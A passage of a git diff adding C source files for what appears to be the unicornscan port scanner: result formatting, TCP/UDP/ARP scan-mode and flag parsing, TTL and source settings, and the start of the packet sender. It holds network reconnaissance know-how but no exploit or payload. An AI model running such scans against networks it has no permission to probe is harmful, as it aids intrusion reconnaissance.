+ return; + } + + while ((d_u.ptr=fifo_pop(r_u.ir->od_q)) != NULL) { + xfree(d_u.ptr); + } + + fifo_destroy(r_u.ir->od_q); + + return; +} + +/* + * deal with a 32 bit network address, possibly looking up DNS depending on GET_DODNS and the format string + * dodns means that the format string had a trailing n inside it (1 = yes) + */ +static char *fmtcat_ip4addr(int dodns, uint32_t addr) { + struct sockaddr_in tsin; + char *thost=NULL; + struct in_addr ia; + + if (dodns == 1 && GET_DODNS()) { + tsin.sin_family=AF_INET; + tsin.sin_port=0; + tsin.sin_addr.s_addr=addr; + + thost=stddns_getname(s->dns, (const struct sockaddr *)&tsin); + if (thost != NULL) { + return thost; + } + } + + /* if dodns == 1 and GET_DODNS == 0 + * they have a format string asking for dns, but want to skip doing DNS + * well override the format string with the lacking `do dns' option + */ + + ia.s_addr=addr; + return inet_ntoa(ia); +} + +static char *fmtcat(const char *fmt, const void *report) { + int state=0; + char *outline=NULL; + const char *end=NULL; + size_t outoff=0, cursz=0; + union { + const arp_report_t *a; + const ip_report_t *i; + const void *p; + const uint32_t *magic; + } r_u; + + if (fmt == NULL || strlen(fmt) < 1) { + return NULL; + } + + r_u.p=report; + + cursz=128; + outline=xmalloc(cursz); + +#define KEH(x) \ + if (outoff + 2 > cursz) { \ + assert((cursz * 2) > cursz); \ + cursz *= 2; \ + outline=realloc(outline, cursz); \ + } \ + outline[outoff++]=x + +#define KEHSTR(x) \ + if ((outoff + 1 + strlen((x))) > cursz) { \ + size_t newlen=cursz + (2 * (strlen((x)) + 1)); \ + \ + assert(newlen > cursz); \ + outline=realloc(outline, newlen); \ + cursz=newlen; \ + } \ + memcpy(outline + outoff, (x), strlen((x))); \ + outoff += strlen((x)) + + for (end=fmt + strlen(fmt); *fmt != '\0'; fmt++) { + if (state == 0) { + if (*fmt == '%') { + state=1; + } + else if (*fmt == '\\') { + state=2; + } + else { + KEH(*fmt); + } + } + else if (state == 1) { + /* + * dodge as much work as possible ;], printf already does this + */ + uint32_t taddr=0; + char ofmt[128], tmp[1024], *tptr=NULL; + unsigned int noff=0; + struct in_addr ia; + int doname=0; + + ofmt[0]='%'; + ofmt[1]='\0'; + + state=0; + + if (*fmt == '-' || *fmt == '0' || *fmt == ' ') { + ofmt[1]=*fmt; + ofmt[2]='\0'; + fmt++; + if (fmt == end) { + continue; + } + } + + /* dont support large lengths, 999 is big enough */ + for (noff=0; fmt < end && isdigit(*fmt) && noff < 3; noff++, fmt++) { + ; + } + + if (noff > 0) { + char buf[16]; + + memcpy(buf, fmt - noff, noff); + buf[noff]='\0'; + strncat(ofmt, buf, strlen(buf)); + } + + doname=0; + + switch (*fmt) { + case '%': + KEH(*fmt); + break; + + case 'C': /* country */ + if (*r_u.magic == IP_REPORT_MAGIC) { + ia.s_addr=r_u.i->host_addr; + } + else if (*r_u.magic == ARP_REPORT_MAGIC) { + ia.s_addr=r_u.a->ipaddr; + } + else { + break; + } + strcat(ofmt, "s"); +#ifdef HAVE_LIBGEOIP + tptr=GeoIP_country_code_by_addr(gi, inet_ntoa(ia)); + snprintf(tmp, sizeof(tmp) -1, ofmt, tptr != NULL ? tptr : "??"); + KEHSTR(tmp); +#else + ERR("no GeoIP support compiled in!"); +#endif + + break; + + case 'h': /* host address (followed by n means dns name if possible) */ + if (*(fmt + 1) == 'n') { + doname=1; + fmt++; + } + if (*r_u.magic == IP_REPORT_MAGIC) { + taddr=r_u.i->host_addr; + } + else if (*r_u.magic == ARP_REPORT_MAGIC) { + taddr=r_u.a->ipaddr; + } + else { + break; + } + strcat(ofmt, "s"); + + tptr=fmtcat_ip4addr(doname, taddr); + if (tptr != NULL) { + snprintf(tmp, sizeof(tmp) - 1, ofmt, tptr); + KEHSTR(tmp); + } + break; + + case 'L': /* local port */ + if (*(fmt + 1) == 'n') { + doname=1; + fmt++; + } + if (*r_u.magic != IP_REPORT_MAGIC) { + break; + } + + if (doname == 1) { + strcat(ofmt, "s"); + snprintf(tmp, sizeof(tmp) - 1, ofmt, getservname(r_u.i->dport)); + } + else { + strcat(ofmt, "hu"); + snprintf(tmp, sizeof(tmp) -1, ofmt, r_u.i->dport); + } + KEHSTR(tmp); + break; + + case 'M': /* link address */ + if (*r_u.magic == ARP_REPORT_MAGIC) { + char hwstr[64]; + + snprintf(hwstr, sizeof(hwstr) -1, "%02x:%02x:%02x:%02x:%02x:%02x", + r_u.a->hwaddr[0], r_u.a->hwaddr[1], r_u.a->hwaddr[2], + r_u.a->hwaddr[3], r_u.a->hwaddr[4], r_u.a->hwaddr[5] + ); + strcat(ofmt, "s"); + snprintf(tmp, sizeof(tmp) -1, ofmt, hwstr); + KEHSTR(tmp); + } + break; + + case 'o': /* macaddr OUI name */ + if (*r_u.magic == ARP_REPORT_MAGIC) { + const char *vend=NULL; + + vend=getouiname(r_u.a->hwaddr[0], r_u.a->hwaddr[1], r_u.a->hwaddr[2]); + if (vend == NULL) { + vend="unknown"; + } + strcat(ofmt, "s"); + snprintf(tmp, sizeof(tmp) -1, ofmt, vend); + KEHSTR(tmp); + } + break; + + case 'p': /* port */ + if (*(fmt + 1) == 'n') { + doname=1; + fmt++; + } + if (*r_u.magic != IP_REPORT_MAGIC) { + break; + } + + if (doname == 1) { + strcat(ofmt, "s"); + snprintf(tmp, sizeof(tmp) - 1, ofmt, getservname(r_u.i->sport)); + } + else { + strcat(ofmt, "hu"); + snprintf(tmp, sizeof(tmp) -1, ofmt, r_u.i->sport); + } + + KEHSTR(tmp); + break; + + case 'r': /* response type */ + if (*r_u.magic == IP_REPORT_MAGIC) { + strcat(ofmt, "s"); + snprintf(tmp, sizeof(tmp) -1, ofmt, strresptype(r_u.i)); + KEHSTR(tmp); + } + break; + + case 's': /* source address */ + if (*(fmt + 1) == 'n') { + doname=1; + fmt++; + } + if (*r_u.magic != IP_REPORT_MAGIC) { + break; + } + strcat(ofmt, "s"); + + tptr=fmtcat_ip4addr(doname, r_u.i->send_addr); + if (tptr != NULL) { + snprintf(tmp, sizeof(tmp) -1, ofmt, tptr); + KEHSTR(tmp); + } + break; + + case 'S': /* remote sequence number */ + if (*r_u.magic == IP_REPORT_MAGIC && r_u.i->proto == IPPROTO_TCP) { + strcat(ofmt, "x"); + snprintf(tmp, sizeof(tmp) -1, ofmt, r_u.i->tseq); + KEHSTR(tmp); + } + break; + + case 't': /* ttl */ + if (*r_u.magic != IP_REPORT_MAGIC) { + break; + } + strcat(ofmt, "hu"); + snprintf(tmp, sizeof(tmp) - 1, ofmt, r_u.i->ttl); + KEHSTR(tmp); + break; + + case 'T': /* trace address */ + if (*(fmt + 1) == 'n') { + doname=1; + fmt++; + } + if (*r_u.magic != IP_REPORT_MAGIC) { + break; + } + + if (r_u.i->trace_addr == r_u.i->host_addr) { + break; + } + + tptr=fmtcat_ip4addr(doname, r_u.i->trace_addr); + if (tptr != NULL) { + strcat(ofmt, "s"); + snprintf(tmp, sizeof(tmp) - 1, ofmt, tptr); + KEHSTR(tmp); + } + break; + + case 'w': /* window size */ + if (*r_u.magic == IP_REPORT_MAGIC && r_u.i->proto == IPPROTO_TCP) { + strcat(ofmt, "u"); + snprintf(tmp, sizeof(tmp) -1, ofmt, r_u.i->window_size); + KEHSTR(tmp); + } + break; + + default: + fprintf(stderr, "unknown format string character `%c'\n", *fmt); + break; + } + } /* if state */ + else if (state == 2) { + switch (*fmt) { + case 'v': + KEH('\v'); + break; + + case 't': + KEH('\t'); + break; + + case 'n': + KEH('\n'); + break; + + case 'a': + KEH('\a'); + break; + + case 'b': + KEH('\b'); + break; + + case 'f': + KEH('\f'); + break; + + case 'r': + KEH('\r'); + break; + + case '\\': + KEH('\\'); + break; + + default: + fprintf(stderr, "Unknown escape char %c, ignoring\n", *fmt); + } + state=0; + } + } /* for each character in format */ + + outline[outoff]='\0'; + + return outline; +} + +static char *strresptype(const ip_report_t *ir) { + static char pstate[128]; + + if (GET_DOTRANS() && port_open(ir->proto, ir->type, ir->subtype)) { + snprintf(pstate, sizeof(pstate) -1, "%s %s", ipproto_tostr(ir->proto), s->openstr); + } + else if (GET_DOTRANS() && port_closed(ir->proto, ir->type, ir->subtype)) { + snprintf(pstate, sizeof(pstate) -1, "%s %s", ipproto_tostr(ir->proto), s->closedstr); + } + else { + if (ir->proto == IPPROTO_ICMP) { + sprintf(pstate, "ICMP:T%02uC%02u", ir->type, ir->subtype); + } + else if (ir->proto == IPPROTO_TCP) { + sprintf(pstate, "TCP%s", strtcpflgs(ir->type)); + } + else { + sprintf(pstate, "IP:P%02uT%04xS%04x", ir->proto, ir->type, ir->subtype); + } + } + + return pstate; +} + +static const char *ipproto_tostr(int proto) { + + switch (proto) { + case IPPROTO_ICMP: + return "ICMP"; + + case IPPROTO_TCP: + return "TCP"; + + case IPPROTO_UDP: + return "UDP"; + + default: + break; + } + + return "Unknown"; +} + +static int port_open(uint8_t proto, uint16_t type, uint16_t subtype) { + + switch (proto) { + case IPPROTO_TCP: + if ((type & (TH_SYN|TH_ACK)) == (TH_SYN|TH_ACK)) { + return 1; + } + break; + + case IPPROTO_UDP: + return 1; + break; /* heh */ + + default: + break; + } + return 0; +} + +static int port_closed(uint8_t proto, uint16_t type, uint16_t subtype) { + + switch (proto) { + case IPPROTO_TCP: + if ((type & (TH_ACK|TH_RST)) == (TH_ACK|TH_RST)) { + return 1; + } + break; + + case IPPROTO_ICMP: + if (type == 3 && subtype == 3) { + return 1; + } + break; + default: + break; + } + return 0; +} + +/* destructive XXX this function is lame */ +static char *get_report_extra(ip_report_t *r) { + static char out[512]; + size_t out_off=0; + int sret=0; + union { + void *ptr; + output_data_t *d; + } d_u; + + assert(r != NULL); + + CLEAR(out); + + if (r->od_q == NULL) { + PANIC("output data NULL on report"); + } + + while ((d_u.ptr=fifo_pop(r->od_q)) != NULL) { + /* XXX yah */ + sret=snprintf(&out[out_off], (sizeof(out) - (out_off + 1)), "%s `%s' ", (d_u.d->type == OD_TYPE_OS ? "OS" : "Banner"), (d_u.d->type == OD_TYPE_OS ? d_u.d->t_u.os : d_u.d->t_u.banner)); + if (sret < 1) break; + out_off += sret; + if (out_off >= (sizeof(out) -1)) { + ERR("report buffer is overflowing, breaking"); + break; + } + } + + if (strlen(out)) { + return out; + } + + return NULL; +} + +static uint64_t get_ipreport_key(uint32_t dhost, uint16_t dport, uint32_t shost) { + union { + struct { + uint16_t cshost; + uint16_t dport; + uint32_t dhost; + } ip; + uint64_t key; + } p_u; + + p_u.ip.dhost=dhost; + p_u.ip.dport=dport; + p_u.ip.cshost=(uint16_t)(shost >> 16) ^ (shost & 0x0000FFFF); /* whatever */ + + return p_u.key; +} + +static uint64_t get_arpreport_key(uint32_t dhost, uint8_t *dmac) { + union { + struct { + uint32_t dhost; + uint8_t cmac[4]; + } arp; + uint64_t key; + } p_u; + + p_u.arp.cmac[0]=*(dmac) ^ *(dmac + 1); + p_u.arp.cmac[1]=*(dmac + 3) ^ *(dmac + 2); + p_u.arp.cmac[2]=*(dmac + 4); + p_u.arp.cmac[3]=*(dmac + 5); + + p_u.arp.dhost=dhost; + + return p_u.key; +} diff --git a/src/scan_progs/report.h b/src/scan_progs/report.h new file mode 100644 index 0000000..18863d1 --- /dev/null +++ b/src/scan_progs/report.h @@ -0,0 +1,27 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _REPORT_H +# define _REPORT_H + +void report_do(void); +void report_init(void); +int report_add(void * /* report_msg */, size_t /* length of msg */); +void report_destroy(void); + +#endif diff --git a/src/scan_progs/scan_export.h b/src/scan_progs/scan_export.h new file mode 100644 index 0000000..df15046 --- /dev/null +++ b/src/scan_progs/scan_export.h @@ -0,0 +1,189 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _SCAN_EXPORTS_H +# define _SCAN_EXPORTS_H + +#ifndef TH_FIN +# define TH_FIN 1 +#endif +#ifndef TH_SYN +# define TH_SYN 2 +#endif +#ifndef TH_RST +# define TH_RST 4 +#endif +#ifndef TH_PUSH +# define TH_PUSH 8 +#endif +#ifndef TH_PSH +# define TH_PSH 8 +#endif +#ifndef TH_ACK +# define TH_ACK 16 +#endif +#ifndef TH_URG +# define TH_URG 32 +#endif +#ifndef TH_ECE +# define TH_ECE 64 +#endif +#ifndef TH_CWR +# define TH_CWR 128 +#endif + +#define MODE_TCPSCAN 1 +#define MODE_UDPSCAN 2 +#define MODE_ARPSCAN 4 +#define MODE_ICMPSCAN 8 +#define MODE_IPSCAN 16 + +#define REPORT_BADNETWORK_CKSUM 1 +#define REPORT_BADTRANSPORT_CKSUM 2 + +#define OD_TYPE_OS 1 +#define OD_TYPE_BANNER 2 + +#define REPORT_TYPE_IP 1 +#define REPORT_TYPE_ARP 2 + +#define IP_REPORT_MAGIC 0xd2d19ff2 +#define ARP_REPORT_MAGIC 0xd9d82aca + +typedef struct output_data_t { + uint8_t type; + union { + char *os; + char *banner; + } t_u; +} output_data_t; + +typedef struct _PACKED_ ip_report_t { + uint32_t magic; /* extra checking */ + uint16_t sport; /* from our senders `local' port */ + uint16_t dport; /* the `target' machines listening port (or not listening) */ + uint8_t proto; /* what ip protocol it was that we got back */ + uint16_t type; /* for icmp this is type, for tcp it is the header flags * + * on the packet, udp doesnt use this */ + uint16_t subtype; /* for icmp this is the code, for tcp and udp it is not used */ + uint32_t send_addr; /* who started this conversation anyhow */ + uint32_t host_addr; /* our target machine */ + uint32_t trace_addr; /* if we sent to the target where did the packet come back from?*/ + uint8_t ttl; /* the raw ttl on the packet from the wire (not that we sent) */ + struct timeval recv_time; /* the secs and usecs that we pulled the packet off the wire at */ + void *od_q; /* list of arbitrary data linked to this "packet" used in * + * output mode (output_data_t list) */ + uint16_t flags; /* had bad network or transport crc */ + /* XXX this is too tcp specific for ip reporting */ + uint32_t mseq; /* tcp only */ + uint32_t tseq; /* tcp only */ + uint16_t window_size; /* tcp only */ + uint32_t t_tstamp; + uint32_t m_tstamp; + + struct ip_report_t *next; /* if keys can collide, well store chains here */ + + uint16_t doff; /* + * is there a packet following this report structure? + * if so how many bytes is it + */ +} ip_report_t; + +typedef struct _PACKED_ arp_report_t { + uint32_t magic; /* extra checking */ + uint8_t hwaddr[6]; + uint32_t ipaddr; + struct timeval recv_time; + void *od_q; + uint16_t flags; + uint16_t doff; +} arp_report_t; + +#ifndef SCANSETTINGS +#define SCANSETTINGS void +#endif + +void scan_setprivdefaults(void); + +/* + * returns 1, or -1 for error + */ +int scan_parsemode( + const char * /* input string */, + uint8_t * /* output mode */, + uint16_t * /* output flags */, + uint16_t * /* output sendflags */, + uint16_t * /* output recvflags */, + uint16_t * /* output masterflags */, + uint32_t * /* output pps */ + ); + +int scan_setoptmode(const char *); +int scan_setsrcaddr(const char *); +int scan_settcpflags(int ); +int scan_setretlayers(int ); +int scan_setttl(const char * ); +int scan_settos(int ); +int scan_setbroken(const char *); +int scan_setfingerprint(int ); +int scan_setsrcp(int); +int scan_setrecvtimeout(int ); +int scan_getrecvtimeout(void); +int scan_getmode(void); + +int decode_tcpflags(const char *); + +void send_mode(void); +void recv_mode(void); +void init_mode(void); + +int init_payloads(void); + +int add_payload( + uint16_t /* proto */, + uint16_t /* port */, + int32_t /* local port */, + const uint8_t * /* payload */, + uint32_t /* payload_size */, + int (* /* create payload */)(uint8_t **, uint32_t *, void *), + uint16_t /* payload group */ + ); + +int add_default_payload( + uint16_t /* proto */, + int32_t /* local port */, + const uint8_t * /* payload */, + uint32_t /* payload_size */, + int (* /* create payload */)(uint8_t **, uint32_t *, void *), + uint16_t /* payload group */ + ); + +int get_payload( + uint16_t /*index*/, + uint16_t /* proto */, + uint16_t /*port*/, + uint8_t ** /*data*/, + uint32_t * /*payload_s*/, + int32_t * /*local_port*/, + int (** /*create payload */)(uint8_t **, uint32_t *, void *), + uint16_t /* payload_group */ + ); + +char *strscanmode(int /* s->ss->mode */); + +#endif diff --git a/src/scan_progs/scanopts.c b/src/scan_progs/scanopts.c new file mode 100644 index 0000000..6c8c830 --- /dev/null +++ b/src/scan_progs/scanopts.c @@ -0,0 +1,426 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include + +#include +#include + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +int scan_getmode(void) { + return s->ss->mode; +} + +void scan_setprivdefaults() { + + s->ss=(SCANSETTINGS *)xmalloc(sizeof(SCANSETTINGS)); + + memset(s->ss, 0, sizeof(SCANSETTINGS)); + + /* default mode is tcp syn scan */ + s->ss->mode=MODE_TCPSCAN; + s->ss->tcphdrflgs=TH_SYN; /* FSRPAUEC */ + s->ss->src_port=-1; + s->ss->recv_timeout=DEF_SCANTIMEOUT; /* in config.h */ + s->ss->window_size=0x1000; + + s->ss->syn_key=prng_get32(); + + return; +} + +int scan_setsrcp(int port) { + + if (port < -1 || port > 0xffff) { + ERR("source port `%d' out of range", port); + return -1; + } + s->ss->src_port=(int32_t)port; + + return 1; +} + +int scan_setretlayers(int layers) { + + if (layers < 0) { + s->ss->ret_layers=0xff; + } + + if (layers > 0xff) { + ERR("too many layers"); + return -1; + } + + s->ss->ret_layers=(uint8_t)layers; + + return 1; +} + +int scan_setfingerprint(int fp) { + + if (fp < 0 || fp > 0xffff) { + ERR("bad fingerprint value"); + return -1; + } + + s->ss->fingerprint=(uint16_t)fp; + + return 1; +} + +int scan_setttl(const char *ttl) { + unsigned short int a=0, b=0; + + if (ttl == NULL) { + return -1; + } + + if (sscanf(ttl, "%hu-%hu", &a, &b) == 2) { + if (a > 0xff || b > 0xff) { + ERR("ttl out of range"); + return -1; + } + if (a > b) { + unsigned short int t=0; + + t=a; + a=b; + b=t; + } + + s->ss->minttl=(uint8_t)a; + s->ss->maxttl=(uint8_t)b; + } + else if (sscanf(ttl, "%hu", &a) == 1) { + if (a > 0xff) { + ERR("ttl out of range"); + return -1; + } + s->ss->minttl=(uint8_t)a; + s->ss->maxttl=(uint8_t)a; + } + else { + ERR("bad ttl option `%s'", ttl); + return -1; + } + + return 1; +} + +int scan_setsrcaddr(const char *addr) { + unsigned int msk=0; + + if (addr == NULL || strlen(addr) < 1) { + return -1; + } + + if (cidr_get(addr, (struct sockaddr *)&s->vi[0]->myaddr, (struct sockaddr *)&s->vi[0]->mymask, &msk) < 0) { + ERR("invalid source address `%s'", addr); + return -1; + } + strncpy(s->vi[0]->myaddr_s, cidr_saddrstr((const struct sockaddr *)&s->vi[0]->myaddr), sizeof(s->vi[0]->myaddr_s) -1); + + DBG(M_CNF, "using explicit (user) source address `%s/%u'", s->vi[0]->myaddr_s, msk); + +#if 0 + char *tok=NULL, *rent=NULL, *sdup=NULL; + sdup=xstrdup(addr); + + for (tok=strtok_r(sdup, ",", &rent); tok != NULL; tok=strtok_r(NULL, ",", &rent)) { + } +#endif + + SET_OVERRIDE(1); + SET_PROMISC(1); + + return 1; +} + +int scan_settos(int tos) { + + if (tos > 0xff || tos < 0) { + ERR("tos out of range"); + return -1; + } + + s->ss->tos=(uint8_t)tos; + + return 1; +} + +int scan_setbroken(const char *instr) { + + if (instr == NULL || strlen(instr) < 1) { + return -1; + } + + if (instr[0] == 'N') { + SET_BROKENNET(1); + } + else if (instr[0] == 'T') { + SET_BROKENTRANS(1); + } + else { + return -1; + } + + if (instr[1] != '\0') { + if (instr[1] == 'N') { + SET_BROKENNET(1); + } + else if (instr[1] == 'T') { + SET_BROKENTRANS(1); + } + else { + return -1; + } + } + + return 1; +} + +int scan_settcpflags(int flags) { + + if (flags < 0 || flags > 0xff) { + ERR("TCP flags out of range"); + return -1; + } + + s->ss->tcphdrflgs=flags; + + return 1; +} + +int scan_setrecvtimeout(int seconds) { + + if (seconds < 0 || seconds > 0xff) { + return -1; + } + + s->ss->recv_timeout=seconds; + + return 1; +} + +int scan_getrecvtimeout(void) { + return s->ss->recv_timeout; +} + +int scan_setoptmode(const char *str) { + return scan_parsemode(str, &s->ss->mode, &s->ss->tcphdrflgs, &s->send_opts, &s->recv_opts, &s->options, &s->pps); +} + +int scan_parsemode(const char *str, uint8_t *mode, uint16_t *flags, uint16_t *sf, uint16_t *lf, uint16_t *mf, uint32_t *pps) { + int ret=0; + const char *walk=NULL; + + assert(str != NULL); + assert(mode != NULL); assert(flags != NULL); assert(sf != NULL); + assert(lf != NULL); assert(mf != NULL); assert(pps != NULL); + + if (strlen(str) < 1) { + return -1; + } + + *pps=s->pps; + + walk=str; + + if (*walk == 'T') { + + *mode=MODE_TCPSCAN; + + walk++; + /* check to see if the user specified TCP flags with TCP mode */ + if (strlen(walk) > 0) { + ret=decode_tcpflags(walk); + if (ret < 0) { + ERR("bad tcp flags `%s'", str); + return -1; + } + *flags=(uint16_t)ret; + + for (;*walk != '\0' && ! isdigit(*walk); walk++) { + ; + } + } + } + else if (*walk == 'U') { + *mode=MODE_UDPSCAN; + walk++; + } + else if (*walk == 'A') { + *mode=MODE_ARPSCAN; + walk++; + } + else if (*walk == 's' && *(walk + 1) == 'f') { + *mode=MODE_TCPSCAN; + /* XXX */ + *mf |= M_DO_CONNECT; + *lf |= L_DO_CONNECT; + *sf |= S_SENDER_INTR; + /* XXX */ + if (scan_setretlayers(0xff) < 0) { + ERR("unable to request packet transfer though IPC, exiting"); + return -1; + } + walk += 2; + + /* check to see if the user specified TCP flags with TCP mode */ + if (strlen(walk) > 0) { + ret=decode_tcpflags(walk); + if (ret < 0) { + ERR("bad tcp flags `%s'", str); + return -1; + } + *flags=(uint16_t)ret; + + for (;*walk != '\0' && ! isdigit(*walk); walk++) { + ; + } + } + } + else { + ERR("unknown scanning mode `%c'", str[1]); + return -1; + } + + if (*walk == '\0') { + return 1; + } + + if (sscanf(walk, "%u", pps) == 1) { + return 1; + } + + /* this isnt likely possible */ + ERR("bad pps `%s', using default %u", walk, s->pps); + + *pps=s->pps; + + return 1; +} + +int decode_tcpflags(const char *str) { + int ret=0; + + for (; *str != '\0' && (! isdigit(*str)); str++) { + switch (*str) { + case 'F': + ret |= TH_FIN; + break; + case 'f': + ret &= ~(TH_FIN); + break; + case 'S': + ret |= TH_SYN; + break; + case 's': + ret &= ~(TH_SYN); + break; + case 'R': + ret |= TH_RST; + break; + case 'r': + ret &= ~(TH_RST); + break; + case 'P': + ret |= TH_PSH; + break; + case 'p': + ret &= ~(TH_PSH); + break; + case 'A': + ret |= TH_ACK; + break; + case 'a': + ret &= ~(TH_ACK); + break; + case 'U': + ret |= TH_URG; + break; + case 'u': + ret &= ~(TH_URG); + break; + case 'E': + ret |= TH_ECE; + break; + case 'e': + ret &= ~(TH_ECE); + break; + case 'C': + ret |= TH_CWR; + break; + case 'c': + ret &= ~(TH_CWR); + break; + default: + ERR("unknown TCP flag `%c' (FfSsRrPpAaUuEeCc are valid)", *str); + return -1; + } /* switch *str */ + } /* for strlen(str) */ + + return ret; +} + +char *strscanmode(int mode) { + static char modestr[64]; + + CLEAR(modestr); + + switch (mode) { + case MODE_TCPSCAN: + strcpy(modestr, "TCPscan"); + break; + + case MODE_UDPSCAN: + strcpy(modestr, "UDPscan"); + break; + + case MODE_ARPSCAN: + strcpy(modestr, "ARPscan"); + break; + + case MODE_ICMPSCAN: + strcpy(modestr, "ICMPscan"); + break; + + case MODE_IPSCAN: + strcpy(modestr, "IPscan"); + break; + + default: + sprintf(modestr, "Unknown [%d]", mode); + break; + } + + return modestr; +} diff --git a/src/scan_progs/scanopts.h b/src/scan_progs/scanopts.h new file mode 100644 index 0000000..aea26dc --- /dev/null +++ b/src/scan_progs/scanopts.h @@ -0,0 +1,71 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _SCAN_OPTS_H +# define _SCAN_OPTS_H + +/* nothing other than the scan option code and scan_module code should touch this (perhaps modules too) */ + +typedef struct scan_settings_t { + char *port_str; + + struct sockaddr_storage target; + struct sockaddr_storage targetmask; + + /* OS fingerprint to emulate */ + uint16_t fingerprint; + + /* ip options */ + uint8_t tos; + uint8_t minttl; + uint8_t maxttl; + uint16_t ip_off; + + uint32_t ip6flow; + + uint16_t mtu; + + uint8_t ipoptions[64]; + uint8_t ipoptions_len; + + /* tcp options */ + uint16_t tcphdrflgs; /* TH_SYN etc */ + uint8_t tcpoptions[64]; /* options used during handshake */ + uint8_t tcpoptions_len; /* */ + uint8_t posttcpoptions[64]; /* non-handshake options */ + uint8_t posttcpoptions_len; /* */ + uint32_t window_size; /* */ + uint32_t syn_key; /* used to xor things against */ + + uint8_t mode; /* MODE_TCPSCAN, etc */ + uint8_t recv_timeout; /* in secs to wait for responces */ + uint8_t ret_layers; /* how many layers of packet to return */ + int header_type; /* type of link layer in use */ + uint16_t header_len; /* length of the `link layer' header */ + + int32_t src_port; /* -1 for random, otherwise uint16_t */ +} scan_settings_t; + +#ifdef SCANSETTINGS +# warning check headers! +# undef SCANSETTINGS +#endif + +#define SCANSETTINGS scan_settings_t + +#endif diff --git a/src/scan_progs/send_packet.c b/src/scan_progs/send_packet.c new file mode 100644 index 0000000..9d1bc27 --- /dev/null +++ b/src/scan_progs/send_packet.c @@ -0,0 +1,1186 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include + +#include + +#include +#include +#include +#include + +#include + +#ifdef __linux__ +#include +#endif + +#define MIN_LOCALPORT 4096 + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define CTVOID 1 +#define CTPAYL 2 + +typedef struct fl_t { + void (*init)(void); + uint8_t c_t; + union { + int (*cmp)(void); + int (*gpl)(uint16_t /* dport */, uint8_t ** /* data */, uint32_t * /* dsize */, int32_t * /* local_port */, int (** /*create payload */)(uint8_t **, uint32_t *, void *), uint16_t /* payload group */); + } c_u; + void (*inc)(void); + struct fl_t *next; +} fl_t; +static fl_t *flhead=NULL; + +static int add_loop_logic(const fl_t * /* new loop logic to add, added to end */); +static void destroy_loop_logic(void); +static void _send_packet(void); +static void loop_list(fl_t * /* start of loop logic list */); +static void priority_send_packet(const send_pri_workunit_t *); +static void open_link(int , struct sockaddr_storage * /* target */, struct sockaddr_storage * /* targetmask */); + +static struct { + uint32_t curround; /* -R repeats */ + + struct sockaddr_storage curhost; + uint32_t ipv4_mix; + struct sockaddr_storage curhost_cnt; /* 1 -> 255 for example */ + + int32_t curport; + int16_t plindex; + + uint8_t curttl; + + int32_t local_port; + + int c_socket; + + /* udp payload stuff */ + int (*create_payload)(uint8_t **, uint32_t *, void *); + uint8_t *payload; + uint32_t payload_size; + + uint8_t esrc[THE_ONLY_SUPPORTED_HWADDR_LEN]; + + uint64_t packets_sent; + + int sockmode; +#define SOCK_LL 1 +#define SOCK_IP 2 + union { + ip_t *ipsock; + eth_t *llsock; + } s_u; +} sl; + +#undef IDENT +#define IDENT "[SEND]" + +static void init_nextttl(void); +static int cmp_nextttl(void); +static void inc_nextttl(void); +static void init_nexthost(void); +static int cmp_nexthost(void); +static void inc_nexthost(void); +static void init_nextround(void); +static int cmp_nextround(void); +static void inc_nextround(void); +static void init_nextport(void); +static int 